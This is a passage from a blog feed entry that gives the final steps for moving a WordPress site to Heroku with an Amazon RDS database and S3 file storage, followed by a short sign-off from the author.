 RewriteRule . /index.php [L]
 &amp;lt;/IfModule&amp;gt;    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Do a commit with all this files (don’t add your secrets/keys to your git)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aws.amazon.com/getting-started/&quot;&gt;Amazon setup&lt;/a&gt;
    &lt;ol&gt;
      &lt;li&gt;Create a RDS Database&lt;/li&gt;
      &lt;li&gt;Import your backup into it&lt;/li&gt;
      &lt;li&gt;Send your S3 files to S3
        &lt;ol&gt;
          &lt;li&gt;Remember to import/change the permissions of your s3 files so guest users can access your uploaded files&lt;/li&gt;
        &lt;/ol&gt;
      &lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devcenter.heroku.com/articles/getting-started-with-php#introduction&quot;&gt;Heroku setup&lt;/a&gt;
    &lt;ol&gt;
      &lt;li&gt;Add your environment vars on heroku with the correct values and names which you used on &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-config.php&lt;/code&gt;, remember to use the RDS ones for database.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://devcenter.heroku.com/articles/custom-domains&quot;&gt;Update your DNS for Heroku&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Send your code to Heroku using the repository you have created&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Access your website&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you’re updating your Wordpress, there are chances to something go wrong or to some plugin to stop working with the new Wordpress version, so don’t forget to check and update them.&lt;/p&gt;

&lt;p&gt;Also, if you have any other question or need more information a specific test, let me know. I can try to help.&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 

</feed>
